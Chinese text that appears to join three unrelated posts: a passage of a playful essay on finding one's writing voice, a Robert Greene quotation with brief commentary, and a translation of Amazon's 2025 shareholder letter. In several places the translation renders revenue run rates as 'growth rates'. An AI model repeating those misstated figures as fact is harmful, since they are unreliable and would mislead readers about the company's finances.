然而，我在此提交反证：Leon 法官。他显然是个情绪丰富的人，并且完全不觉得有必要去掩饰这一点。

那么，我们该如何写得更有趣一点？如何培养出自己的声音？如何脱颖而出？

法庭传唤下一位证人……生成式 AI，请站上证人席！

机器人像一台识字的扫地机器人一般滑行上前，哐当哐当地撞着台阶，最终进了证人席。

（此时出现了一个小插曲：法警递过一本圣经准备让它宣誓，却突然意识到它并没有手。）

AI 清了清它那并不存在的嗓子：

“如果让我来，我会把 Leon 的裁决书改得面目全非，”它坦白道。“我会把那些感叹号全部磨平。那个浓汤食谱我也会删掉。”说完，它不安地瞥了一眼陪审团。

“我会产出一份完美契合要求、极度专业，但也绝对会被人瞬间遗忘的文本。”

旁听席上泛起一阵低语，后排甚至传来了几声嘘声。

反对有效（Sustained）。

你看，那些让 Leon 法官的文字令人印象深刻的东西，恰恰是大型语言模型（LLM）会认定为“不专业”并毫不留情剔除的东西。AI 的文字永远无法打破读者的心理预期，因为它的本质，就是预期的集合。它是所有数据的平均值。它的文字里，没有任何可以让你产生碰撞和摩擦的东西。

能让读者坐在办公桌前扑哧一声笑出来的幽默，是需要“人格”的。写作者必须先建立一种足够稳定和一致的形象，这样当你在某处突然打破常规时，读者才能真切地感受到。

这正是为什么 Leon 法官的感叹号会显得好笑：你的心理预期是一位身穿黑袍、不苟言笑的法官正透过他的半框眼镜严肃地盯着你；但实际上，你看到的却是一个忍无可忍、疯狂吐槽的暴躁老哥。

这种对规则的打破，必须让人感觉到是“蓄意为之”，而非无心之失。无心之失的怪异只会让人感到困惑；而精心设计的怪异则是你应得的奖赏。它向读者发出信号：这里有一个鲜活的大脑正在运转。这才是它让人感到愉悦，而不是让人摸不着头脑的原因。

Leon 法官当然不是“不小心”打出了 18 个感叹号和一份炖菜食谱。他太清楚自己在干什么了。他内心的抓狂是真的，但他把它展示出来的方式却是刻意安排的——那是他向读者抛出的一个媚眼，是屏幕这头的写作者与屏幕那头的阅读者之间建立起的一种真实的连接。

法庭裁定：这，就是判断力（Judgment）。

当生成文字的速度变得极其廉价时，判断力便拥有了极高的溢价。

AI 可以在几秒钟内生成合格的散文。但它无法做到的是：审视一个情境，权衡它，感受它，然后在纸面上留下这个思考过程的真实痕迹。

它永远无法写出 Leon 法官判决书里那种字面意义上的“情绪宣泄”：“这件事我审过了！我觉得它简直不可理喻！这是我的裁决！顺便，去尝尝那个秋葵浓汤！”

这就是现在的写作者们面临的全部课题。不是提供信息，甚至也不仅仅是提供个性。而是一些更宏大的东西：

留下你的大脑在此运转过的证据。

所以，脱颖而出的路径其实从未如此清晰过： 停止为了“得体”而去阉割自己的文字。停止掩盖你大脑真实的运作方式。

所以，这给我们带来了什么启示？

‼️ 判决结果 1：标点符号是一种关于“声音”的选择，而不是语法规则。

我们中的大多数人都被教育过要对感叹号保持警惕——往坏了说，就是去厌恶它那种过度欢快、不受控制的能量。著名作家 Elmore Leonard 曾有一句名言：永远不要用感叹号。否则后果自负。（Elmore 在发出这个隐晦的威胁时，甚至连一个感叹号都没用。是个狠人。）

但 Leon 法官对 Elmore 的这套说辞嗤之以鼻。

我们要学的并不是“去用更多的感叹号”，而是要明白：每一个标点符号的选择，都是你个人风格的选择。（尽情欢呼吧！）（抱歉，我就是忍不住要用感叹号。）

‼️ 判决结果 2：去感受你的感受。

职场写作规范总是在强推一种中立、平衡、克制的基调。但事实是，只有当写作者清楚地展现出自己的感受时，读者才能感同身受。

‼️ 判决结果 3：约束，蕴含着强大的力量。

Leon 法官是在现存最死板、最格式化的文体框架内运作的。正是因为周围环境的极度严肃，他的感叹号才会显得如此炸裂。所以，先去了解你所在领域的种种条条框框，然后，打破它们。

‼️ 判决结果 4：持续的怪癖，会变成你的招牌。

一个感叹号，那是个失误。十八个感叹号，那就是一种风格了。请毫无保留地拥抱你的那些“怪异”吧。千万别把自己锁死在“得体”的牢笼里！

最后一点：

‼️ 判决结果 5：AI 可以延伸你的声音，但无法发明它。

AI 可以帮你基于已有的东西进行扩展，但它无法去发掘“到底是什么让你成为了你”。

说实话，难道你真的希望由它来替你发现你身上那些古怪又迷人的特质吗？自己去探索，这才是写作真正的乐趣所在啊。

【不同意见】

这时，旁听席上突然传来一个声音：“可是，法官又不会被解雇！”

法庭注意到了这个突如其来的发言。法警，让他们把话说完。

我懂你的意思。Leon 法官端的是铁饭碗。

他不需要面对绩效考核，不需要遵守什么品牌指南，更不用应付某个对感叹号或者谐音梗指手画脚的营销副总裁。Leon 法官有资本去嚣张，而我们中的某些人没有。

但是，我要在这里反驳一下。

你不需要成为 Leon 法官，不需要非得在枯燥的法律术语里用燃烧的标点符号杀出一条血路。

你需要做的是：找到你的环境所能容忍的、属于你的冲动的“最小可行性版本”——然后持续地践行它，直到人们把它认作你的个人印记。

它可以是你偏爱的一个词、一个标点习惯、一种文章结构、一些古灵精怪的比喻。任何一个小怪癖，只要假以时日，都会成为你的签名。

Leon 法官也不是一开始就甩出 18 个感叹号的。他也是从第一个感叹号开始的。随着时间推移，这成了他的招牌。

那么，你的招牌是什么？你的那条边界又在哪里？

你知道我接下来要说什么的，对吧……

你，就是那个法官。（You be the judge.）

“我们都很容易受到群体的影响。让我们变得更容易被影响的，是我们的不安全感。作为个体，我们对自我价值的确定性越低，我们就越会不知不觉地试图融入群体，将自己消融在群体精神中。通过表现出从众来获得群体成员表面上的认可，我们向自己和他人掩盖了内心的不安全感。

但这种认可转瞬即逝；我们的不安全感依然在折磨着我们，我们必须不断获取人们的注意力才能感到被肯定。你的目标必须是通过提高自尊来降低自己受到群体影响的程度。

如果你对自己独特的地方（你的品味、价值观和经历）感到强大而自信，你就能更容易地抵御群体效应。此外，如果依靠你的工作和成就来锚定你的自我评价，你就不会被不断寻求认可和关注的欲望所束缚。” —— 罗伯特·格林《人性的法则》(The Laws of Human Nature)

这是一个简单且陈述得很清楚的事实。它不仅适用于我们对待权威人物的态度，甚至也适用于家庭关系。

我们的不安全感总是会显露出来——表现在我们所做的事情上，表现在我们选择与谁一起做事上，以及我们谈论自己和自己所做事情的方式上。

作者：Andy Jassy，亚马逊CEO
发布日期：2026年4月9日
阅读时间：约26分钟

亲爱的股东们：

我从大学毕业时，想当一名体育解说员。我向美国许多小地方投了简历录像带，只收到了两个回复，于是我接受了一份主流网络的体育制作工作。为了多赚点钱，我还执教了一支高中足球队，并在一家零售高尔夫商店工作。六个月后，一位大学同学说服我去他所在的公司面试，于是我在那里做了三年产品经理。后来我离开公司尝试自己创业，在决定这些生意不适合我之后，我又做了一段销售和投资银行的工作，然后回到研究生院，并于1997年5月最后一门考试结束三天后加入了亚马逊。

这还真不是一条直线。

AWS同样经历了很多曲折。最初的愿景包括存储、计算、支付和人工智能。其中一些（如存储和计算）成为了AWS的支柱。有些则没有成功。我们最初并没有计划做数据库服务；当我们构建时，第一次尝试没有获得吸引力。我们回到起点，构建了新的关系型和非关系型数据库服务，这些服务反响良好，已成为数百万AWS应用程序的核心。当我们推出EC2（计算服务）时，它只有一个可用区中的单一实例类型，仅支持Linux，没有自动扩展、负载均衡、块存储或私有网络。随着时间的推移，我们添加了这些功能以及数百种其他服务。AWS最初吸引的是初创公司（DoorDash、Dropbox、Pinterest、Slack和Stripe等公司都是在AWS上构建业务的众多公司中的几家）。评论家说企业和政府永远不会将云或AWS用于任何实质性用途。2008年，Netflix决定将所有应用程序迁移到AWS，随后通用电气、Intuit等公司做出了重大承诺，最终CIA选择AWS作为他们构建机密云的合作伙伴。增长来得迅猛，随着加速，我们的资本支出（”capex”）也在增加，对自由现金流（”FCF”）产生了稀释效应。在我们2014年的AWS运营计划审查中，讨论开始时，一位公司高级领导感慨道：”再告诉我一次，我们为什么要做这个业务？”

AWS对亚马逊来说效果很好，但一条直线？还真不是。

我很喜欢一支来自新西兰的乐队”The Beths”，他们创作了几张出色的专辑，歌词发人深省。我热切期待他们的新专辑，当他们去年夏天发行的最新专辑《Straight Line Was a Lie》（直线是个谎言）发行时，它让我想到这句话是多么有先见之明。大多数长期的努力都不是沿着直线向上和向右进行的。进步会跳跃，有时会向上，然后有时停滞，或向下曲折，或把你拉回起点。有时感觉像是在兜圈子。但道路很少是直的。

这是因为世界是复杂的，新技术、商业模式发明、竞争对手、全球性问题或人员和文化转变都可能产生影响。我们正处在一生中一些最大的转折点之中（如AI、机器人技术、太空工业化、地缘政治和军事冲突）。而且，正如熟练的高尔夫球手需要在开球、进攻击球、短打和推杆方面都有技术一样，持久的公司也必须善于管理不同类型的转折。我将在下面分享一些我们的经验，以及为什么我们对亚马逊的未来充满信心。

尽可能发明下一个转折点。 我们试图预测什么会让客户的生活每天更轻松、更好，并发明下一个转折点。历史上，我们在零售、物流、AWS、广告、Kindle、Alexa和药房等领域都成功做到了这一点。有太多新项目正在进行中，无法一一提及，但会提到其中几个。

首先，尽管多年来已经有很多改进，但客户总是希望更低的价格和更快的送货速度。在我们继续努力提高生产率和库存水平的同时，机器人技术为我们如何更快地送货、降低携带更多选择的成本、以及自动化导致员工受伤的动作，提供了阶跃性的变革。通过2012年收购Kiva以及过去14年的众多机器人技术投资，我们现在在履约中心部署了超过100万台机器人，帮助存放、拣选、分拣和设施内运输。而且，我们这样做的时候，继续是美国最大的雇主之一。虽然上述进展很重要，但我们仍在利用机器人的早期阶段。希望我们继续在形态、功能多样性、敏捷性、抓取和智能方面创新。而且，无论何时我们都能利用我们如此多的机器人带来的规模和实时反馈循环，为其他工业和消费者客户构建机器人解决方案，我们会探索这样做。

其次，我们理解农村客户经常被物流和电信提供商忽视，因为偏远社区的服务成本更高。当其他公司远离这些客户时，我们却奔向它们。我们已承诺投入超过40亿美元扩大农村送货网络。客户反馈非常积极，2025年农村地区每月当日达客户数量与前一年相比几乎翻了一番。扩建完成后，我们的网络每年将能够向居住在超过13,000个邮政编码、跨越120万平方英里的客户提供超过10亿个额外包裹。

我们还试图缩小农村社区的数字鸿沟。地球上仍有数十亿人无法使用高速互联网，还有数百万企业和政府及其他组织在缺乏可靠连接的地方运营。如果你没有宽带连接，你就无法参与许多数字活动（如教育、商业、信息检索、购物、娱乐等），这是人们在城市地区认为理所当然的事。过去七年来，我们已经构建了一个低地球轨道卫星网络（Amazon Leo），并向太空发射了200多颗卫星（这是目前运营的第三大低地球轨道网络）。随着未来几年再发射数千颗卫星，星座正在迅速扩展。除了实现这种连接外，Leo还将提供三个独特优势。首先，性能将更强大（上行链路提升约六到八倍，下行链路提升两倍），优于客户目前的使用体验。其次，这个性能将以低于其他方案的成本提供。第三，Leo将与AWS无缝集成，使企业和政府能够来回移动数据进行存储、分析和AI。

虽然Amazon Leo正式计划于2026年中推出，但我们已经获得了企业和政府的大量收入承诺。最近，全球收入最高的航空公司达美航空宣布已选择Amazon Leo作为其未来的Wi-Fi，并将于2028年开始在500架飞机上使用。他们加入了其他Leo客户的行列，如捷蓝航空、AT&T、Vodafone、DIRECTV Latin America、澳大利亚国家宽带网络、美国宇航局等。

亚马逊即使不这样投资机器人技术、更快的农村送货和为服务不足的客户和地区提供宽带连接，也可以长期保持成功。但是，我们相信我们能够发明改变客户可能性方式，我们渴望这样做，并相信这些投资将为公司带来有意义的增长和投资资本回报率（”ROIC”）。

愿意追求平行路径，当不清楚什么将最好地推动预期轨迹时（2 > 0）。 当我还是个孩子的时候，我常常和爸爸一起去看纽约游骑兵队的比赛。我喜欢冰球，这是我们在一起的高质量时光。我仰慕我的父亲（现在仍然如此），倾听他说的每一个字。一场比赛中，我父亲注意到游骑兵队的一名后卫达拉斯·史密斯从替补席上消失了，他站起来大声喊道：”达拉斯在哪儿？”附近一位球迷说：”在德克萨斯州，笨蛋。”

所以，是的，2大于0是显而易见的。但通常，公司专注于看起来最整洁的方案，而不是确保他们有足够的努力来实现重要目标。让我们回到零售业务中的快速送货。我们知道客户多么渴望它，当我们承诺更快送货时，我们会看到更高的订单完成率。三年前，两天送货还是黄金标准。我们把标准提高到了一天，并且一直在不懈地努力实现当天送货。

我们发明了一种新的、更精简的履约中心格式，称为”当日履约中心（SSD）”。我们已经在美国各地建造了超过85个SSD，承载着我们前90,000个SKU，并使我们能够在2026年至今交付超过5亿件当日达商品。同时，我们继续追求Prime Air，这是我们的无人机送货服务。Prime Air现在有一个可扩展的设计，计划在年底前服务3000万客户的社区，并预计到本年代末交付5亿个包裹（目标是30分钟内送达）。而且，在过去一年里，从印度和阿联酋开始，我们一直在开发Amazon Now，即在20分钟内交付数千种商品的超快送货服务。客户喜爱这项服务。在印度，我们有超过360个微型履约中心（并且正在快速增长），Amazon Now订单每月环比增长25%，一旦Prime会员开始使用，他们的购物频率就会增加三倍。我们也开始在美国和欧洲扩展Amazon Now。

有些公司可能决定只追求其中一个方案，花数周或数月争论哪一个，同时却不追求任何方案。一个合理的论点是，只实现当天送货可能就足够了（”先完成这个，然后担心其他想法”）。但是，构建能够在一半小时内交付数百万件商品的自主送货无人机不需要一年。这是一个多年的发明周期。而且，从微型履约中心实现超快送货已经可行，无论有没有我们都会发生。因此，我们需要有多条平行路径来推动下一次送货速度的变革。而且，我们发现它们是互补的。无人机将使用SSD作为收集选择和发射的基础。而且，虽然Amazon Now将通过微型履约中心在20分钟内交付数千种商品，但Prime Air将在半小时内交付更多种类的商品。它们都将满足不同需求，作为一组比只有一个更能推动变革。

我们在杂货业务方面的另一个例子。我们20年前开始添加不易腐坏的商品（你在杂货店中间过道中找到的商品，如食品罐头、美容产品等）。客户喜欢在线购买这些商品的便利性和快速送货的便利。不出所料，他们要求更广泛的杂货覆盖，易腐品是他们清单上的首选。我们开始了一些尝试，试图为客户和亚马逊找到正确的经济解决方案。2017年，我们收购了有机杂货领域的领导者Whole Foods Market（WFM）。此后，我们推出了主流实体杂货店（Amazon Fresh）、针对Prime会员的杂货订阅，以及店内店概念（亚马逊在WFM有机品牌旁边提供主流品牌）。并非所有这些实验都成功了，但每一个都教会了我们一些重要的东西。

出现的是对客户真正想要什么的更清晰图景。我们的非易腐杂货业务继续快速增长。WFM继续加速，现有超过550家门店，未来几年还将新增100家，并有一种额外的小型格式（Daily Shop）服务于城市社区的快速、频繁的杂货购物任务开局很好。而且，一个重大突破是将易腐品纳入我们的当日达送货网络。将新鲜杂货（如农产品、乳制品、肉类）与数百万日常用品结合在一个快速订单中，由于其提供的价值和便利性，与客户产生了共鸣。自2025年初将易腐品纳入当日达送货以来，易腐品销售额增长了40倍以上，在有当日达新鲜食品送货的地区，它们现在占当日达订单中最常订购商品的十分之九。我们在全国超过2,300个城镇和城市提供当日达新鲜食品送货。我们的杂货业务在2025年已增长到超过1500亿美元的总额销售额，使亚马逊成为美国第二大杂货商。

如果有明显的路径改变你的轨迹，就去做并全力奔跑。但是，大多数新的飞跃都不是那样的。需要发明和实验，追求多条路径能给你最好的机会找到它。

当你发现不成比例的转折点时，要大胆下注。 选择哪些转折点是真正划时代的而不是”只是有趣的”，需要判断。合理的人可以有不同意见。但是，如果你相信你已经找到了这些不成比例的转变之一，你想尽可能积极地投资。这将造成投资高峰，招致审查，但游戏改变者通常不会容纳更平稳的投资视野。

这些划时代的转变之一就是AI。每种客户体验都将被AI重新构想，并且由于AI，将有一系列新的体验成为可能。我关注了关于这项技术是否被过度炒作、我们是否处于”泡沫”中、以及利润率和ROIC是否具有吸引力的公开辩论。至少对于亚马逊来说，我的强烈信念是答案是否定的、否定的、肯定的。这里有一些难以争辩的事实。

1/ 我们从未见过技术被如此迅速地采用。 当ChatGPT于2022年11月推出时，它在两个月内达到了1亿用户——比TikTok快四倍，比Instagram快15倍（ChatGPT已经有超过9亿每周活跃用户）。OpenAI和Anthropic都报告称收入增长率接近300亿美元。对于商业推出后这么短的公司来说，这些数字是惊人的。当爱迪生于1882年开设他的第一个商业发电站时，大多数人将其理解为点亮房间的更好方式。他们看不到的是，电力最终将重组地球上的每一个工厂、家庭和行业。AI可能有类似的影响。不同的是，电力花了40年才达到它的目标。AI似乎以十倍的速度前进。

2/ 亚马逊正处于这场淘金热的中心，企业正在选择AWS进行AI。 AWS推出商业化三年后，其收入增长率为5800万美元。在AI浪潮的三年后，AWS的AI收入增长率在2026年第一季度超过150亿美元（比同期AWS大近260倍）——并且正在快速上升。

客户选择AWS进行AI有几个原因。首先，我们有比其他人更广泛的能力，在模型构建（SageMaker）、高性能推理方面有引人注目的产品，拥有前沿模型选择（Bedrock）、更低成本推理（使用我们的定制芯片Trainium）、代理构建（Strands）、可扩展和安全代理环境（AgentCore），以及用于编码、软件迁移和知识工作者日常使用的大多数任务的可立即使用的代理（Kiro、Transform和Quick）。其次，随着客户扩展他们的AI使用，他们希望他们的推理位于他们的其他应用程序和数据附近（由于延迟原因），而更多此类应用和数据位于AWS而不是其他地方。第三，随着客户扩展他们的AI使用，他们会消耗大量额外的非AI服务，而AWS也有最广泛和最有能力的产岵。第四，AWS拥有任何AI和基础设施提供商中最强大的安全性和运营性能。我们花大量时间倾听客户，当他们越来越多地将AI转移到AWS时，他们继续称赞AWS的性能优势。

3/ AWS可能增长得更快。 AWS在2025年增加了3.9吉瓦的新电力容量，预计到2027年底将把总电力容量翻一番，并且正在尽快将这种容量货币化。2025年第四季度，AWS报告了24%的同比增长，收入率为1420亿美元。这是大量的绝对增长。然而，我们仍然有容量限制，导致未满足的需求。

4/ 我们的芯片业务火热，改变了AWS的经济学，而且将比大多数人所想的要大得多。 到目前为止，几乎所有AI都是在NVIDIA芯片上完成的，但一个新的转变已经开始。我们与NVIDIA有强大的合作关系，总会有客户选择运行NVIDIA，我们将继续使AWS成为运行NVIDIA的最佳场所。然而，客户想要更好的性价比。我们以前看过这部电影。在CPU领域，几乎所有工作负载都在Intel芯片上运行，直到2018年我们发明了Graviton。Graviton的性能比x86处理器提升40%，现在被98%的顶级1000 EC2客户广泛采用。同样的故事弧线正在AI领域展开。我们定制AI芯片的第二个版本（Trainium2）比同类GPU提供了约30%的性价比，并且已基本上售罄。Trainium3刚刚在2026年初开始出货，比Trainium2提升30-40%的性价比，几乎已被完全预订。Trainium4的很大一部分已经预留，尽管它仍在大约18个月后才会广泛可用。而且，Amazon Bedrock的大部分推理都在Trainium上运行。对Trainium的需求正在蓬勃发展。

拥有我们自己的热门AI芯片开辟了许多可能性，但也许没有比为客户降低成本和为AWS确保更好的经济效益更大的了。在规模化时，我们预计Trainium每年将为我们节省数百亿美元的资本支出，与依赖他人的芯片进行推理相比，将提供数百个基点的运营利润率优势。

我们芯片业务的年化收入率（包含Graviton、Trainium和Nitro）现在超过200亿美元，同比增长三位数。如果我们的芯片业务是独立业务，并将今年生产的芯片销售给AWS和其他第三方，我们的年化率将约为500亿美元。对我们芯片的需求如此之大，以至于我们很可能在未来向第三方销售机架。

5/ AWS现金周期的运作方式是，AWS增长越快，我们短期资本支出就越多。 AWS必须提前为土地、电力、建筑、芯片、服务器和网络设备的现金做准备，然后才能将其货币化（通常在向客户开始计费前6-24个月）。但是，这些资本支出投资为多年使用寿命的资产提供资金（数据中心30+年；芯片、服务器和网络设备5-6年）。这些投资在服务一两年后的累计FCF和ROIC相当可观；然而，在高速增长时期（如现在），资本支出增长明显快于收入增长，早期年份的FCF会受到挑战，直到这些初始批次的产能被货币化且收入增长超过资本支出增长。我们经历了第一次大AWS增长浪潮的周期，并满意了结果。我们预计会在下一波浪潮中有类似感受，但下游收入和FCF的潜力要大得多。

6/ 我们有客户承诺，使我们的资本支出投资可预测。 我们在2026年投入约2000亿美元的资本支出并不是出于直觉。最近的OpenAI承诺（超过1000亿美元）就是一个例子，但还有其他几个已完成的或深入过程中的客户协议。在我们预计2026年将支出的AWS资本支出中，其中大部分将在2027-2028年货币化，我们已经为其中一大部分提供了客户承诺。

我们愿意进行大量资本支出投资，并承受短期FCF阻力，以获得中长期FCF盈余。AI是一生一次的机会，当前增长前所未有，未来增长更大。AWS拥有显著的领先地位，拥有最广泛的功能、最强大的安全性和运营性能、最大的客户和收入份额、客户在AWS运行AI的强烈意愿，以及在芯片领域建立可能成为亚马逊新支柱的机会。在如何把握这个问题上，我们不会保守——我们正在投资成为有意义的领导者，由于我们的未来业务、运营收入和FCF都会更大。

接受回到起点以重定向轨迹。 当你有一个规模化运行的产品时，最难做出的决定之一就是回到起点。这感觉像是在倒退（因为确实有点是）。团队有理由认为他们没有时间同时运行现有服务并重新构想一切。但是，这样做是有原因的，而且AI使得回到起点变得更容易，也更迫切。

例如，在Amazon Bedrock中，团队意识到他们需要一个与最初构建的不同的推理引擎。这不是调整；而是需要完全不同的架构。团队正在运营一个庞大且快速增长的服务，所以情况不理想。通常，这样的活动可能需要一个40人的团队大约一年的时间来仔细构建。然而，Bedrock团队组建了一个由6名非常熟练的工程师组成的独立小组，他们对从头开始和在我们的代理编码服务（Kiro）上构建感到兴奋，并在76天内交付了这个新引擎（我们称之为”Mantle”）。Mantle已成为我们非常成功的Bedrock服务的支柱，在过去3月几乎环比翻倍，并在2026年第一季度处理的token数量超过了前几年处理的总和。

Alexa是另一个有趣的例子。Alexa在设备、汽车、办公室、Fire TV和Prime Video上拥有6亿个活跃端点，规模庞大，客户基础巨大。但是，当生成式AI这样的变革性技术到来时，而且你可以构建一个比以前更智能的产品，你必须追求它——即使它会扰乱你的团队、路线图和架构。全新的Alexa+比之前的版本更有能力、更有用、更聪明。但是，我们必须完全重塑她的大脑、相应的智能、知识广度、她访问的服务和API的路由，以及她可以做的例程和工作。团队必须在同时服务现有庞大客户群的同时进行这些更改，并执行推出计划而不破坏如此多客户依赖的所有功能。这是值得的。客户与Alexa的对话增加了一倍（并且在更广泛的主题上持续时间更长），设备上的购买完成率增加了两倍，音乐流媒体增加了25%，智能家居功能增加了50%。Alexa仍处于成为世界最佳个人助理的早期阶段。但是，如果没有回到起点，它就不会再次上路。

如果你相信在未来几年每种客户体验都将被AI重新构想，这意味着即使是最舒适的、最被广泛采用的客户体验也将被重新设想。以我们的零售业务为例。我们相信客户始终会非常关心大量选择、低价格、快速交货、易用性以及他们如何被对待。亚马逊已经构建了许多能力，使我们能够在未来几年很好地满足这些客户需求。但是，不难想象，随着AI的出现，客户与零售商互动的方式可能随着时间推移而发生实质性变化。诱惑只是给现有体验添加一点AI。这是个开始。但是，对于领导者（包括我们自己）来说，诀窍是如何组织起来并下定决心回到起点，从一张白纸开始重新构想你的体验，说起来容易做起来难。但是，这正是我们正在对所有客户体验做的事情。我们可能需要一段时间才能找到比现有体验更好的体验，消费者也可能需要时间来采用这些新体验。但是，历史表明”直线是个谎言”。一切都会被重新构想。而且，如果你想找到下一个拐点，你需要愿意回到第一原则。

培养能够应对曲折路线的文化。 你可能已经成功运营了好几年，这时一个转折点击碎了这种平静。有时候，团队会否认重大变化正在发生，因为它可能威胁到变革方向。历史商业格局上满是公司祈祷不要出现大的新转折而损害了自己的利益（我们一直是其中一些的受益者）。

以下是我过去28年在亚马逊学到的一些经验：

• 你需要有正确的数据、机制和真相讲述者来深入质疑发生了什么变化，因此应该做什么。
• 你必须拥有能够适应在整理新常态时保持模糊运营的人员和文化。
• 你需要疯狂地发明和实验。这些实验中有许多会失败，可能感觉你什么都得不到。但是，你的文化必须保持坚持不懈。
• 你需要不断学习。你（和他人）做出的每一次尝试都会提供对客户真正想要什么的洞察。
• 你需要快速行动，让队友像真正的所有者一样行动，并保持敏捷。在亚马逊，我们经常谈论像世界上最大的初创公司一样运营。这是我们近一年扁平化组织的主要原因，我们对决策和交付速度的提高感到满意。
• 当追求这些重要的移动指针时，你必须能够接受可能过度调整。你最终可能投入比需要的多一点，但最好抓住大部分转型上行空间，而不是通过过于精细地削减而错过大部分。
• 你必须善于发明转折点，也要善于识别他人已经开始的你也应该追求的转折点。我们往往是先行者，但也有几个我们不是第一个进入却取得重大成功的例子。在这些情况下，我们不仅仅是复制他人所做的（当我们这样做时，我们没有成功）。相反，我们被新想法所启发，并创造了吸引我们客户的独特体验。这需要一种不同于首次提出想法时的勇气和毅力。
• 你必须愿意不仅重新构想每种客户体验，还要重新构想我们如何组织和工作。挑战长期存在且行之有效的 conventions是困难的。人们有时称这些为”变革管理”障碍。这是真实的，但在变革性动荡时期，它们几乎就像重新审视你的信仰一样。
• 而且，你必须能够在穿越转折点时承受批评。我们历来分享说我们”可以接受在很长时间内被误解”。这种决心在发明时通常是必要的，但特别是在你处于有意义变化的中期、存在不确定性和相互矛盾的意见时更需要。

离别感想。 亚马逊在2025年又取得了强劲的一年。

亚马逊2025年的收入同比增长12%，从6380亿美元增至7170亿美元。按细分市场划分，北美收入同比增长10%，从3870亿美元增至4260亿美元；国际收入同比增长13%，从1430亿美元增至1620亿美元；AWS收入同比增长20%，从1080亿美元增至1290亿美元。

亚马逊2025年的运营收入同比增长17%，从690亿美元（10.8%的运营利润率）增至800亿美元（11.2%的运营利润率）。

自由现金流从380亿美元降至110亿美元，主要由于不动产和设备采购支出净额同比增加507亿美元。这一FCF变化主要反映了对人工智能的资本支出投资。

对于未来，我充满乐观。

我们的零售业务收入接近6000亿美元，然而全球约80%的零售销售仍然在实体店发生。这种情况将会改变。

AWS的业务收入运行率达到1420亿美元，然而全球85%的IT支出仍在本地。这种情况将会改变。

我们的广告产品继续增长，并为品牌提供强劲回报，而Prime Video、药房和杂货等较新的业务正在提供独特的客户体验，快速增长并改善其经济效益。

我们即将推出Amazon Leo，Zoox（我们的自动驾驶网约车服务）刚刚开始商业服务，我们在机器人领域的工作还处于早期阶段。

在所有这些方面，AI不是一项独立计划——它是一个倍增器。它将重塑我们提供的每种客户体验，并解锁全新的体验。我们将自行构建其中许多，并继续使AWS成为其他人这样做的最佳场所。

进展不会是线性的。将会有加速的时刻，也有需要调整方向的时刻。我们将进行实验，在重要的事情上不相称地投资，并在某些事情不奏效时撤回。

这正是亚马逊在最佳状态下工作的环境。我们已经构建了一种文化，通过创新、舒适地在多条路径上运营、回到第一原则，并全身心投入能够有意义地改善客户生活的想法中，在不断变化的环境中茁壮成长。与往常一样，我们将优化对客户和股东长期最重要的事情。

感谢我们的队友们过去一年所做的一切以及未来的工作。我期待着与你们一起追求这段精彩的冒险。

真挚地，

Andy Jassy
总裁兼首席执行官
亚马逊公司

原文出处：CEO Andy Jassy’s 2025 Letter to Shareholders